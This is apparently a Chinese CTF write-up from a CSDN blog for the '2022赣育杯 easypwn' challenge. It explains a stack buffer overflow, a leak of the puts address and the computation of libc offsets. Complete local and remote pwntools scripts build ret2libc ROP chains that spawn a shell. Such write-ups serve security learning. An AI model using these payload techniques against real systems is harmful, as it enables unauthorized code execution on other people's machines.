2022赣育杯easypwn

这篇博客介绍了一个pwn题的解决方案,通过栈溢出泄露puts函数地址,然后计算libc中的system和/bin/sh地址,最终利用返回到main的技巧执行shell。本地和远程exp的详细步骤分别给出。
摘要由CSDN通过智能技术生成

pwn的签到题

64位

9fc02e204ec846b790710e2c9daf746a.png

这里buf有个栈溢出,但是没有后门,没有system,没有/bin/sh

很明显的libc泄露题

 程序运行一开始就把puts地址泄露出来了

1ac7dc6f19c34a97bdbd24db8beeb8c1.png

 puts

0x7fd1bbb356a0

那么思路就很明显了,用给的puts地址直接计算偏移即可,算出system和/bin/sh

有个问题就是如果要先打本地就要重新泄露puts地址,这个地方是个大坑,libc也不能用给的,需要用本地的libc

打本地的exp

from pwn import *

p=process('/home/pwn/Desktop/que/easypwn')
elf=ELF('/home/pwn/Desktop/que/easypwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_address=0x401186

system_libc=libc.symbols['system']
bin_sh_libc=libc.search('/bin/sh').next()
pop_rdi=0x0000000000401273

puts_libc=libc.symbols['puts']

p.recvuntil("\n")

payload="a"*0x100+'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_address)
p.sendline(payload)

p.recvuntil("\n")
puts_addr=u64(p.recv(6).ljust(8,'\0'))
print(hex(puts_addr))

base_address=puts_addr-puts_libc
system_address=base_address+system_libc
bin_address=base_address+bin_sh_libc

ret=0x000000000040101a

print(hex(base_address))
print(hex(system_address))
print(hex(bin_address))

payload2="a"*0x100+'a'*8+p64(ret)+p64(pop_rdi)+p64(bin_address)+p64(system_address)
p.sendline(payload2)
p.interactive()



16da666d35c64567968b0675c81f04bb.png

 

远程exp

#!/usr/bin/env python

# -*- coding: utf-8 -*-



from pwn import *

p = remote('192.168.xx.xx', xxxx)#这里注意自己改哦

elf=ELF('/home/pwn/Desktop/que/easypwn')

libc=ELF('/home/pwn/Desktop/que/libc.so.6')#题目给的libc



system_libc=libc.symbols['system']

bin_sh_libc=libc.search('/bin/sh').next()



puts_libc=libc.symbols['puts']

puts_addr=0x7f0c91b1f6a0



base_address=puts_addr-puts_libc

system_address=base_address+system_libc

bin_address=base_address+bin_sh_libc



print(hex(base_address))

print(hex(system_address))

print(hex(bin_address))



ret=0x000000000040101a

pop_rdi=0x0000000000401273



payload = 'a'*0x100 +'a'*8+p64(ret)+p64(pop_rdi)+p64(bin_address)+p64(system_address)

p.sendline(payload)

p.interactive()

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值